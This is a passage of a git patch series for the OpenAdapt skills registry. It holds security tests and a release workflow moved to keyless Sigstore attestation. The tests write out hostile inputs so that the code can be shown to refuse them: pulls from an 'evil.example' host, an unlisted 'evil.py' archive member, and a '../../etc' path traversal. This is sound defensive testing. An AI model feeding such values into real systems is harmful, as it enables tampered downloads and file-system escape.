index_url="https://evil.example/index.json", + allow_unsigned=True, + ) + with pytest.raises(registry.RegistryError, match="plain http"): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url="http://evil.example/i.json", + ) + + +def test_the_shipped_trust_root_holds_no_key_with_a_public_seed(): + from openadapt_flow.ed25519ph import public_key + + data = json.loads(registry.KEYS_FILE.read_text()) + published = { + spec["public"] if isinstance(spec, dict) else spec + for spec in (data.get("keys") or {}).values() + } + old_test_seed = hashlib.sha256( + b"openadapt-registry-TEST-key: not secret, accepted only with --allow-test-key" + ).digest() + assert base64.b64encode(public_key(old_test_seed)).decode() not in published + assert not any( + isinstance(spec, dict) and spec.get("test") + for spec in (data.get("keys") or {}).values() + ) + assert not hasattr(registry, "TEST_KEY_SEED") + + +def test_pull_has_no_test_key_flag_and_no_hint_to_bypass(tmp_path): + import argparse + + parser = argparse.ArgumentParser() + registry.add_parser(parser.add_subparsers()) + with pytest.raises(SystemExit): + parser.parse_args(["pull", "a/b", "--allow-test-key"]) + with pytest.raises(registry.RegistryError) as info: + registry.pull( + "openemr/new-referral", tmp_path / "s", index_url=str(_index(tmp_path)) + ) + assert "--allow" not in str(info.value) + + +# -- 5. no rollback, no freeze, no stripped anchor ----------------------------------------- + + +def _signed(tmp_path, *, now=None, drop=None): + index = _index(tmp_path) + data = json.loads(index.read_text()) + registry.sign_index(data, SEED, "test-key", now=now) + if drop: + data["workflows"] = [i for i in data["workflows"] if i["id"] != drop] + index.write_text(json.dumps(data)) + return index, data + + +def test_an_expired_index_is_refused(tmp_path): + index, _ = _signed(tmp_path, now=datetime.now(timezone.utc) - timedelta(days=31)) + with pytest.raises(registry.RegistryError, match="expired"): + registry.pull( + "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + ) + + +def test_an_index_issued_in_the_future_is_refused(tmp_path): + index, _ = _signed(tmp_path, now=datetime.now(timezone.utc) + timedelta(hours=1)) + with pytest.raises(registry.RegistryError, match="future"): + registry.pull( + "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + ) + + +def test_an_older_index_is_refused_once_a_newer_one_was_seen(tmp_path): + now = datetime.now(timezone.utc) + index, data = _signed(tmp_path, now=now) + registry.pull( + "openemr/new-referral", tmp_path / "a", index_url=str(index), keys=_keys() + ) + # Yesterday's index, validly signed, served again from the same place. + registry.sign_index(data, SEED, "test-key", now=now - timedelta(days=2)) + index.write_text(json.dumps(data)) + with pytest.raises(registry.RegistryError, match="older than"): + registry.pull( + "openemr/new-referral", tmp_path / "b", index_url=str(index), keys=_keys() + ) + assert not (tmp_path / "b").exists() + + +def test_an_entry_dropped_from_a_signed_index_is_refused(tmp_path): + index, _ = _signed(tmp_path, drop="openimis/claim-intake") + with pytest.raises( + registry.RegistryError, match="index's signature does not match" + ): + registry.pull( + "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + ) + + +def test_a_remote_index_without_an_anchor_is_refused(tmp_path, monkeypatch): + index, _ = _signed(tmp_path) + base = "https://mirror.example/registry/" + real = registry._read + + def mirror(location, **kw): + if location.startswith(base): + return (index.parent / location[len(base) :]).read_bytes() + return real(location, **kw) + + monkeypatch.setattr(registry, "_read", mirror) + with pytest.raises(registry.RegistryError, match="anchor .* can't be read"): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url=base + "index.json", + keys=_keys(), + ) + assert not (tmp_path / "s").exists() + + +def test_the_release_workflow_adds_the_anchor_by_name(): + text = (ROOT.parents[1] / ".github/workflows/release-registry.yml").read_text() + assert ( + "git add packages/flow/registry/index.json packages/flow/registry/index.anchor.json" + in text + ) + assert "commit -am" not in text + + +# -- 6. stripping the provenance doesn't make an unqualified pull runnable ------------------ + + +def test_a_pull_with_its_provenance_stripped_is_still_refused(tmp_path): + from openadapt_flow.ir import Workflow + + dest = _pull(tmp_path) + workflow = Workflow.load(dest) + workflow.registry = None + workflow.save(dest) # re-seals the content digest + (dest / skills.LOCK).unlink() + assert Workflow.load(dest).registry is None + refusal = skills.pulled_skill_refusal(dest) + assert refusal is not None and "provenance removed" in refusal + with pytest.raises(SystemExit, match="REFUSED"): + skills.refuse_unqualified_skill(dest) + + +# -- 7. run and an emitted MCP server pass the target, so only the qualified instance runs --- + + +def _qualified(tmp_path, monkeypatch, origin="https://emr.example.org"): + dest = _pull(tmp_path) + monkeypatch.setattr( + qualification, "current_certification_matches", lambda w, **k: True + ) + _qualify_on(dest, origin) + _record_qualified(dest) + assert skills.pulled_skill_refusal(dest) is None + return dest + + +def test_run_checks_the_deployments_app_address(tmp_path, monkeypatch): + from openadapt_flow.__main__ import main + + dest = _qualified(tmp_path, monkeypatch) + deploy = tmp_path / "deploy.yaml" + deploy.write_text("backend:\n kind: web\n url: https://production.example/\n") + with pytest.raises( + SystemExit, + match="qualified on https://emr.example.org, not https://production.example", + ): + main(["run", str(dest), "--config", str(deploy), "--profile", "standard"]) + + +def test_an_emitted_mcp_server_refuses_another_instance(tmp_path, monkeypatch): + import importlib.util + import inspect + + from openadapt_flow.emit.mcp_tool import emit_mcp_server + + dest = _qualified(tmp_path, monkeypatch) + server = emit_mcp_server(dest, tmp_path / "mcp" / "server.py") + spec = importlib.util.spec_from_file_location("emitted_server", server) + assert spec is not None and spec.loader is not None + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + tool = next( + fn + for name, fn in vars(module).items() + if inspect.isfunction(fn) + and fn.__module__ == "emitted_server" + and "url" in inspect.signature(fn).parameters + ) + params = {name: "x" for name in inspect.signature(tool).parameters if name != "url"} + out = tool(url="https://production.example/", **params) + assert out["outcome"] == "REFUSED" + assert "not https://production.example" in out["detail"] + + +# -- 8. a pulled skill qualifies with the contract it ships ------------------------------------ + + +def test_replacing_a_shipped_contract_takes_an_explicit_opt_in(tmp_path): + dest = _pull(tmp_path) + own = tmp_path / "mine.yaml" + own.write_text( + CONTRACT.replace("${APP_URL}", "https://emr.example.org") + .replace("${SIGNED_IN_STATE}", str(own)) + .replace("${RESET_COMMAND}", "/usr/bin/true") + .replace("${RECORD_URL}", "https://emr.example.org") + .replace("${RECORD_TOKEN_VAR}", "MY_EMR_TOKEN") + ) + with pytest.raises(skills.SkillError, match="--replace-contract"): + skills.qualify_skill(dest, certify="p", contract=own, run=_resetting_run({})) + seen = {} + skills.qualify_skill( + dest, + certify="p", + contract=own, + replace_contract=True, + run=lambda bundle, config, **kw: ( + seen.update(origin=config.app.origin), + SimpleNamespace(certified=True), + )[1], + ) + lock = skills.read_lock(dest) + assert lock["qualified"]["contract"] == "yours" + assert lock["qualified"]["contract_opt_in"] is True + + +def test_a_qualification_with_an_unchosen_contract_is_refused(tmp_path, monkeypatch): + dest = _qualified(tmp_path, monkeypatch) + _record_qualified(dest, contract="yours", opt_in=False) + assert "a contract it doesn't ship" in skills.pulled_skill_refusal(dest) + + +# -- 9. archives: sizes before reads, https, and the index's own directory ----------------------- + + +def _archive(members): + buf = io.BytesIO() + with tarfile.open(fileobj=buf, mode="w:gz") as tar: + for name, data in members: + info = tarfile.TarInfo(name) + info.size = len(data) + tar.addfile(info, io.BytesIO(data)) + blob = buf.getvalue() + return blob, {"sha256": hashlib.sha256(blob).hexdigest()} + + +def test_an_oversized_member_is_refused_before_it_is_read(tmp_path, monkeypatch): + blob, archive = _archive([("manifest.json", b"\0" * (registry.MAX_FILE_BYTES + 1))]) + (tmp_path / "a.tar.gz").write_bytes(blob) + + def no_extract(*a, **k): + raise AssertionError("a member was read before its size was checked") + + monkeypatch.setattr(tarfile.TarFile, "extractfile", no_extract) + with pytest.raises(registry.RegistryError, match="larger than"): + registry._unpack_archive( + {**archive, "url": "a.tar.gz"}, + expected={"manifest.json"}, + local_root=tmp_path, + ) + + +def test_an_archive_that_unpacks_too_large_is_refused(tmp_path, monkeypatch): + blob, archive = _archive( + [("workflow.json", b"1" * 600), ("manifest.json", b"2" * 600)] + ) + (tmp_path / "a.tar.gz").write_bytes(blob) + monkeypatch.setattr(registry, "MAX_ARCHIVE_BYTES", 1000) + with pytest.raises(registry.RegistryError, match="unpacks to more than"): + registry._unpack_archive( + {**archive, "url": "a.tar.gz"}, + expected={"workflow.json", "manifest.json"}, + local_root=tmp_path, + ) + + +def test_an_archive_member_the_entry_does_not_list_is_refused(tmp_path): + blob, archive = _archive([("evil.py", b"print(1)")]) + (tmp_path / "a.tar.gz").write_bytes(blob) + with pytest.raises(registry.RegistryError, match="not in the entry"): + registry._unpack_archive( + {**archive, "url": "a.tar.gz"}, + expected={"workflow.json"}, + local_root=tmp_path, + ) + + +def test_an_archive_or_file_must_come_from_https_or_the_index_directory(tmp_path): + outside = tmp_path / "outside.tar.gz" + blob, archive = _archive([("workflow.json", b"{}")]) + outside.write_bytes(blob) + with pytest.raises(registry.RegistryError, match="https address"): + registry._unpack_archive( + {**archive, "url": str(outside)}, expected={"workflow.json"} + ) + (tmp_path / "index").mkdir() + with pytest.raises(registry.RegistryError, match="outside the index's directory"): + registry._unpack_archive( + {**archive, "url": str(outside)}, + expected={"workflow.json"}, + local_root=tmp_path / "index", + ) + with pytest.raises(registry.RegistryError, match="plain http"): + registry._read("http://example.org/x") + item = { + "id": "a/b", + "status": "example", + "path": "bundles/../../etc", + "files": {"workflow.json": "0"}, + } + with pytest.raises(registry.RegistryError, match="unsafe path"): + registry.validate_index({"workflows": [item]}) + + +# -- lower: an allowlist of public files, screens, versions, the signing environment ----- + + +@pytest.mark.parametrize( + "name", + [ + "verify.full.yml", + "Faults.yaml", + "Rows.csv", + "notes.txt", + "hooks.py", + "templates/x.jpg", + ], +) +def test_a_public_bundle_holds_only_allowlisted_files(name): + item = {"id": "a/b", "status": "example", "files": {name: "0" * 64}} + with pytest.raises(registry.RegistryError, match="private tier|may hold"): + registry.validate_index({"workflows": [item]}) + + +def test_screen_templates_need_the_synthetic_data_attestation(): + item = { + "id": "a/b", + "status": "example", + "files": {"workflow.json": "0", "templates/t.png": "0"}, + } + with pytest.raises(registry.RegistryError, match="synthetic"): + registry.validate_index({"workflows": [item]}) + item["screens"] = {"data": "synthetic"} + registry.validate_index({"workflows": [item]}) + + +def test_a_release_outranks_its_pre_release(): + entries = registry.validate_index( + { + "workflows": [ + { + "id": "a/b", + "version": v, + "status": "example", + "files": {"workflow.json": "0"}, + } + for v in ("1.2.0", "1.2.0-rc.1", "1.10.0-rc.2", "1.9.0") + ] + } + ) + assert registry.find(entries, "a/b").version == "1.10.0-rc.2" + ordered = sorted( + ("1.2.0", "1.2.0-rc.1", "1.2.0-rc.10", "1.2.0-rc.2"), key=registry._version_key + ) + assert ordered == ["1.2.0-rc.1", "1.2.0-rc.2", "1.2.0-rc.10", "1.2.0"] + + +def test_the_signing_environment_is_hash_pinned(): + text = (ROOT / "registry/signing-requirements.txt").read_text() + requirements = [ + line for line in text.splitlines() if line and not line.startswith((" ", "#")) + ] + assert requirements and all("==" in line for line in requirements) + assert text.count("--hash=sha256:") >= len(requirements) + workflow = (ROOT.parents[1] / ".github/workflows/release-registry.yml").read_text() + sign_job = workflow.split("\n sign:\n", 1)[1].split("\n publish-github:\n", 1)[0] + assert "--require-hashes" in sign_job and "pip install -e" not in sign_job From 4c584fd52bedf73ee29498114fd1f25eb30013cb Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 15:50:44 -0400 Subject: [PATCH 5/8] Skills registry: keyless Sigstore attestations instead of a signing key The release workflow attests index.json and every bundle archive with actions/attest in the release-identity environment, the only job with id-token: write, and publishes the bundle as index.sigstore.json. A dispatch from main tags registry-; the tag push builds, stamps, attests, checks its own attestation with the pull verifier (hash-pinned wheels only), and releases. pull verifies that bundle with the sigstore package (the new registry extra), offline against a pinned trusted root, for the pinned identity: issuer token.actions.githubusercontent.com, SAN release-registry.yml on a registry-* tag of OpenAdaptAI/OpenAdapt. The statement must name the exact index read and the archive pulled. pull --refresh-trust updates the trusted root through Sigstore's TUF repository. Dropped: REGISTRY_SIGNING_SEED and the registry-signing environment, the Ed25519 entry and index signatures, registry_keys.json, and the registry_index_sha256 Rekor anchor. Kept inside the attested index: issued_at, expires_at and serial, with the highest-serial-seen check. A local test signer works only with --allow-test-key on a local index. The real path is tested with a GitHub-made attestation of an OpenAdapt Desktop release asset, verified offline with the pinned root. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/release-registry.yml | 314 ++++++----- CAPABILITIES.md | 2 +- llms-full.txt | 2 +- packages/flow/docs/design/SKILLS_REGISTRY.md | 53 +- packages/flow/openadapt_flow/ir.py | 6 +- packages/flow/openadapt_flow/registry.py | 336 ++++------- .../flow/openadapt_flow/registry_attest.py | 305 ++++++++++ .../flow/openadapt_flow/registry_keys.json | 5 - .../openadapt_flow/registry_trusted_root.json | 126 +++++ packages/flow/openadapt_flow/seal_anchor.py | 2 - packages/flow/openadapt_flow/skills.py | 25 +- packages/flow/pyproject.toml | 6 + packages/flow/registry/README.md | 58 +- .../flow/registry/signing-requirements.txt | 269 --------- .../flow/registry/verify-requirements.txt | 533 ++++++++++++++++++ packages/flow/scripts/build_registry_index.py | 39 +- .../registry/desktop-0.24.1-SHA256SUMS | 16 + .../desktop-0.24.1-SHA256SUMS.sigstore.json | 1 + packages/flow/tests/test_skills_registry.py | 182 ++---- .../flow/tests/test_skills_registry_review.py | 347 +++++++++--- packages/flow/uv.lock | 208 ++++++- 21 files changed, 1899 insertions(+), 936 deletions(-) create mode 100644 packages/flow/openadapt_flow/registry_attest.py delete mode 100644 packages/flow/openadapt_flow/registry_keys.json create mode 100644 packages/flow/openadapt_flow/registry_trusted_root.json delete mode 100644 packages/flow/registry/signing-requirements.txt create mode 100644 packages/flow/registry/verify-requirements.txt create mode 100644 packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS create mode 100644 packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS.sigstore.json diff --git a/.github/workflows/release-registry.yml b/.github/workflows/release-registry.yml index 13735ba04..493d98f65 100644 --- a/.github/workflows/release-registry.yml +++ b/.github/workflows/release-registry.yml @@ -1,32 +1,32 @@ -# Publish the skills registry: sign the index and release the bundles. +# Publish the skills registry: attest the index and the bundle archives. # -# - Manual dispatch only, from the current tip of main. The registry release -# is tagged registry-. -# - build (no secrets) writes each bundle in packages/flow/registry as a -# reproducible .tar.gz and an index whose entries point at this release's -# assets, and checks that no bundle holds a private-tier file. -# - sign runs in the protected `registry-signing` environment, the only place -# the REGISTRY_SIGNING_SEED secret exists. Its Python environment is only -# the hash-pinned wheels in packages/flow/registry/signing-requirements.txt -# (cryptography and pydantic); the engine is read from the checkout, with -# nothing resolved from PyPI. It signs every entry and then the index as a -# whole, with issued_at, expires_at (30 days) and a serial, using the -# registry key (Ed25519ph, the form Rekor accepts). It checks every -# signature against the public keys shipped in -# openadapt_flow/registry_keys.json, so a seed that doesn't match a -# published key fails the run. It then anchors the signed index in Rekor (a -# public transparency log): the anchor names only the index's SHA-256 and -# the registry's public key. pull requires that anchor for a remote index. -# - publish-github tags the commit with the openadapt-release App and -# publishes an immutable GitHub Release with the archives and the signed -# index, then opens a pull request that updates -# packages/flow/registry/index.json to the signed index. +# There is no signing key. The registry is attested keylessly, as the other +# releases are: actions/attest signs an in-toto statement naming each file's +# sha256 with a short-lived Sigstore certificate for this workflow's identity, +# and records it in Rekor. `openadapt-flow pull` checks that attestation +# against the pinned identity +# issuer https://token.actions.githubusercontent.com +# SAN https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/release-registry.yml@refs/tags/registry-* +# (openadapt_flow/registry_attest.py), offline, with the trusted root shipped +# in the package. # -# One-time setup (founder): the registry key. Generate the seed offline, store -# it base64-encoded as REGISTRY_SIGNING_SEED in the `registry-signing` -# environment (required reviewers), set REGISTRY_KEY_ID as an environment -# variable, commit only the public key to registry_keys.json, and add the -# registry-* tag to the release ruleset. +# - tag (manual dispatch from the tip of main) tags the commit registry- +# with the openadapt-release App. The tag push starts this workflow again. +# - check (the tag push, no privileges) installs the engine and runs the +# registry's repository checks: no private-tier file and only allowlisted +# files in any bundle. +# - attest (the tag push, the protected release-identity environment, the only +# job with id-token: write) builds each bundle as a reproducible .tar.gz +# and an index stamped with issued_at, expires_at (30 days) and serial, +# attests the index and every archive, and checks its own attestation with +# the pull verifier. Its Python environment is only the hash-pinned wheels +# in packages/flow/registry/verify-requirements.txt; the engine is read from +# the checkout. +# - publish (release-identity) publishes a GitHub Release with the archives, +# the index and its attestation (index.sigstore.json), and opens a pull +# request that updates packages/flow/registry/ to them. +# +# The index expires 30 days after it is stamped, so run this at least monthly. name: Release registry on: @@ -36,148 +36,198 @@ on: description: "Release tag suffix (the tag is registry-), e.g. 2026-10-28" required: true type: string + push: + tags: + - "registry-*" permissions: contents: read concurrency: - group: release-registry + group: release-registry-${{ github.ref }} cancel-in-progress: false jobs: - build: - name: build registry-${{ inputs.suffix }} + tag: + name: tag registry-${{ inputs.suffix }} + if: github.event_name == 'workflow_dispatch' runs-on: ubuntu-latest - timeout-minutes: 15 - outputs: - tag: ${{ steps.check.outputs.tag }} + timeout-minutes: 10 + environment: release-identity + permissions: + contents: read steps: - - name: Require the tip of main + - name: Require the tip of main and a plain suffix env: REF: ${{ github.ref }} + SUFFIX: ${{ inputs.suffix }} run: | + set -euo pipefail if [ "$REF" != "refs/heads/main" ]; then echo "Releases run only from refs/heads/main, not $REF." >&2 exit 1 fi + if ! printf '%s' "$SUFFIX" | grep -Eq '^[0-9A-Za-z][0-9A-Za-z.-]{0,40}$'; then + echo "The suffix must be letters, digits, dots and dashes." >&2 + exit 1 + fi + - name: Create a repository-scoped release App token + id: release-app + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + app-id: ${{ vars.OPENADAPT_RELEASE_APP_ID }} + private-key: ${{ secrets.OPENADAPT_RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ github.event.repository.name }} + permission-contents: write + permission-metadata: read + - name: Require the exact release App identity + env: + ACTUAL_APP_SLUG: ${{ steps.release-app.outputs.app-slug }} + run: | + if [ "$ACTUAL_APP_SLUG" != openadapt-release ]; then + echo "Tagging requires the openadapt-release App, not $ACTUAL_APP_SLUG." >&2 + exit 1 + fi - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: + ref: ${{ github.sha }} + token: ${{ steps.release-app.outputs.token }} + - name: Tag the commit + env: + TAG: registry-${{ inputs.suffix }} + run: | + set -euo pipefail + git -c user.name="openadapt-release[bot]" \ + -c user.email="openadapt-release[bot]@users.noreply.github.com" \ + tag -a "$TAG" "$GITHUB_SHA" -m "Skills registry $TAG" + git push origin "refs/tags/$TAG" + + check: + name: check ${{ github.ref_name }} + if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/registry-') + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.ref }} persist-credentials: false - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 with: python-version: "3.12" - - name: Check the tag name - id: check - env: - SUFFIX: ${{ inputs.suffix }} - run: | - set -euo pipefail - if ! printf '%s' "$SUFFIX" | grep -Eq '^[0-9A-Za-z][0-9A-Za-z.-]{0,40}$'; then - echo "The suffix must be letters, digits, dots and dashes." >&2 - exit 1 - fi - echo "tag=registry-$SUFFIX" >> "$GITHUB_OUTPUT" - name: Install the engine - run: python -m pip install -e packages/types -e packages/flow - - name: Build the archives and the unsigned index - env: - TAG: ${{ steps.check.outputs.tag }} + run: python -m pip install -e packages/types -e 'packages/flow[dev]' + - name: Check the bundles run: | set -euo pipefail - python packages/flow/scripts/build_registry_index.py \ - --archives dist-registry \ - --asset-base "https://github.com/${GITHUB_REPOSITORY}/releases/download/${TAG}/" \ - --out dist-registry/index.json + python packages/flow/scripts/build_registry_index.py --check python -m pytest -q \ packages/flow/tests/test_skills_registry.py::test_no_registry_bundle_in_the_repo_holds_a_private_tier_file \ packages/flow/tests/test_skills_registry.py::test_every_file_of_a_registry_bundle_in_the_repo_is_allowlisted - (cd dist-registry && sha256sum -- *.tar.gz index.json > SHA256SUMS) - - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 - with: - name: registry-unsigned - path: dist-registry/ - if-no-files-found: error - sign: - name: sign registry-${{ inputs.suffix }} - needs: build + attest: + name: build and attest ${{ github.ref_name }} + needs: check runs-on: ubuntu-latest - timeout-minutes: 10 - environment: registry-signing + timeout-minutes: 15 + environment: release-identity + permissions: + contents: read + id-token: write + attestations: write env: PYTHONPATH: packages/flow:packages/types + TAG: ${{ github.ref_name }} steps: + - name: Require a release App tag + env: + EXPECTED_ACTOR: openadapt-release[bot] + run: | + set -euo pipefail + if [ "$GITHUB_REF_TYPE" != tag ] || [ "$GITHUB_ACTOR" != "$EXPECTED_ACTOR" ]; then + echo "Attesting requires a tag pushed by $EXPECTED_ACTOR." >&2 + exit 1 + fi - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: + ref: ${{ github.ref }} + fetch-depth: 0 persist-credentials: false + - name: Require the tag to be on protected main + run: | + set -euo pipefail + git fetch --no-tags origin +refs/heads/main:refs/remotes/origin/main + if ! git merge-base --is-ancestor HEAD refs/remotes/origin/main; then + echo "The registry tag is not contained in protected main." >&2 + exit 1 + fi - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 with: python-version: "3.12" - - name: Install only the hash-pinned signing wheels + - name: Install only the hash-pinned verifier wheels run: | python -m pip install --require-hashes --no-deps --only-binary=:all: \ - -r packages/flow/registry/signing-requirements.txt - - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 - with: - name: registry-unsigned - path: dist-registry/ - - name: Sign every entry with the registry key - env: - REGISTRY_SIGNING_SEED: ${{ secrets.REGISTRY_SIGNING_SEED }} - OPENADAPT_REGISTRY_KEY_ID: ${{ vars.REGISTRY_KEY_ID }} + -r packages/flow/registry/verify-requirements.txt + - name: Build the archives and the stamped index run: | set -euo pipefail - umask 077 - seed="$RUNNER_TEMP/registry-seed" - printf '%s' "$REGISTRY_SIGNING_SEED" | base64 --decode > "$seed" - OPENADAPT_REGISTRY_SIGNING_SEED="$seed" \ - python packages/flow/scripts/build_registry_index.py --sign dist-registry/index.json - rm -f "$seed" - - name: Check every signature against the published keys + python packages/flow/scripts/build_registry_index.py \ + --archives dist-registry \ + --asset-base "https://github.com/${GITHUB_REPOSITORY}/releases/download/${TAG}/" \ + --out dist-registry/index.json \ + --stamp + - name: Attest the index and every archive + id: attest + uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2 + with: + subject-path: | + dist-registry/index.json + dist-registry/*.tar.gz + - name: Keep the attestation beside the index and check it as pull will + env: + BUNDLE: ${{ steps.attest.outputs.bundle-path }} run: | set -euo pipefail + if [ "$(grep -c . "$BUNDLE")" != 1 ]; then + echo "Expected one attestation bundle in $BUNDLE." >&2 + exit 1 + fi + head -n 1 "$BUNDLE" > dist-registry/index.sigstore.json python - <<'PY' + import hashlib import json - from openadapt_flow import registry - index = json.load(open("dist-registry/index.json")) - keys = registry.trusted_keys() - problem = registry.index_signature_problem(index, keys) - if problem: - raise SystemExit(f"index: {problem}") - for item in index["workflows"]: - if item["status"] == "planned": - continue - problem = registry.entry_signature_problem(item, keys) - if problem: - raise SystemExit(f"{item['id']}: {problem}") - print(f"{len(index['workflows'])} entries signed and checked") - PY - - name: Anchor the signed index in Rekor - env: - REGISTRY_SIGNING_SEED: ${{ secrets.REGISTRY_SIGNING_SEED }} - run: | - set -euo pipefail - umask 077 - seed="$RUNNER_TEMP/registry-seed" - printf '%s' "$REGISTRY_SIGNING_SEED" | base64 --decode > "$seed" - python - "$seed" <<'PY' - import sys from pathlib import Path - from openadapt_flow import registry - seed = Path(sys.argv[1]).read_bytes() - print(registry.anchor_index(Path("dist-registry/index.json"), seed)) + + from openadapt_flow import registry, registry_attest + + dist = Path("dist-registry") + index = json.loads((dist / "index.json").read_text()) + signer, subjects = registry_attest.verify_sigstore( + json.loads((dist / "index.sigstore.json").read_text()) + ) + index_digest = hashlib.sha256((dist / "index.json").read_bytes()).hexdigest() + if subjects.get("index.json") != index_digest: + raise SystemExit("the attestation does not name the index") + for archive in dist.glob("*.tar.gz"): + digest = hashlib.sha256(archive.read_bytes()).hexdigest() + if subjects.get(archive.name) != digest: + raise SystemExit(f"the attestation does not name {archive.name}") + problem = registry.index_freshness_problem(index) + if problem: + raise SystemExit(problem) + print(f"attested by {signer}: {sorted(subjects)}") PY - rm -f "$seed" - (cd dist-registry && sha256sum -- *.tar.gz index.json index.anchor.json > SHA256SUMS) + (cd dist-registry && sha256sum -- *.tar.gz index.json index.sigstore.json > SHA256SUMS) - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 with: - name: registry-signed + name: registry-attested path: dist-registry/ if-no-files-found: error - publish-github: - name: tag and release ${{ needs.build.outputs.tag }} - needs: [build, sign] + publish: + name: release ${{ github.ref_name }} + needs: attest runs-on: ubuntu-latest timeout-minutes: 15 environment: release-identity @@ -198,46 +248,40 @@ jobs: - name: Require the exact release App identity env: ACTUAL_APP_SLUG: ${{ steps.release-app.outputs.app-slug }} - EXPECTED_APP_SLUG: openadapt-release run: | - set -euo pipefail - if [ "$ACTUAL_APP_SLUG" != "$EXPECTED_APP_SLUG" ]; then - echo "Publishing requires the $EXPECTED_APP_SLUG App, not $ACTUAL_APP_SLUG." >&2 + if [ "$ACTUAL_APP_SLUG" != openadapt-release ]; then + echo "Publishing requires the openadapt-release App, not $ACTUAL_APP_SLUG." >&2 exit 1 fi - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - ref: ${{ github.sha }} - fetch-depth: 0 + ref: main token: ${{ steps.release-app.outputs.token }} - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: - name: registry-signed + name: registry-attested path: dist-registry/ - - name: Tag, release, and propose the signed index + - name: Release, and propose the attested index env: GH_TOKEN: ${{ steps.release-app.outputs.token }} - TAG: ${{ needs.build.outputs.tag }} + TAG: ${{ github.ref_name }} run: | set -euo pipefail (cd dist-registry && sha256sum --check --strict SHA256SUMS) - git -c user.name="openadapt-release[bot]" \ - -c user.email="openadapt-release[bot]@users.noreply.github.com" \ - tag -a "$TAG" "$GITHUB_SHA" -m "Skills registry $TAG" - git push origin "refs/tags/$TAG" gh release create "$TAG" dist-registry/*.tar.gz dist-registry/index.json \ - dist-registry/index.anchor.json dist-registry/SHA256SUMS \ + dist-registry/index.sigstore.json dist-registry/SHA256SUMS \ + --verify-tag \ --title "Skills registry $TAG" \ - --notes "Signed skills-registry index and bundles. See packages/flow/registry/README.md." + --notes "Attested skills-registry index and bundles. See packages/flow/registry/README.md." branch="registry/$TAG" git switch -c "$branch" - cp dist-registry/index.json dist-registry/index.anchor.json packages/flow/registry/ - # The anchor is a new file the first time: add both by name. - git add packages/flow/registry/index.json packages/flow/registry/index.anchor.json + cp dist-registry/index.json dist-registry/index.sigstore.json packages/flow/registry/ + # The attestation is a new file the first time: add both by name. + git add packages/flow/registry/index.json packages/flow/registry/index.sigstore.json git -c user.name="openadapt-release[bot]" \ -c user.email="openadapt-release[bot]@users.noreply.github.com" \ - commit -m "registry: signed index for $TAG" + commit -m "registry: attested index for $TAG" git push origin "refs/heads/$branch" gh pr create --base main --head "$branch" \ - --title "registry: signed index for $TAG" \ - --body "The signed index the $TAG release published. Bundles are its release assets." + --title "registry: attested index for $TAG" \ + --body "The attested index the $TAG release published. Bundles are its release assets." diff --git a/CAPABILITIES.md b/CAPABILITIES.md index 4f6d85356..c0faa002e 100644 --- a/CAPABILITIES.md +++ b/CAPABILITIES.md @@ -254,7 +254,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | -| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then, and on any other instance. The index and each entry are signed by a key shipped with the package, expire, and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](packages/flow/docs/design/SKILLS_REGISTRY.md) | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and 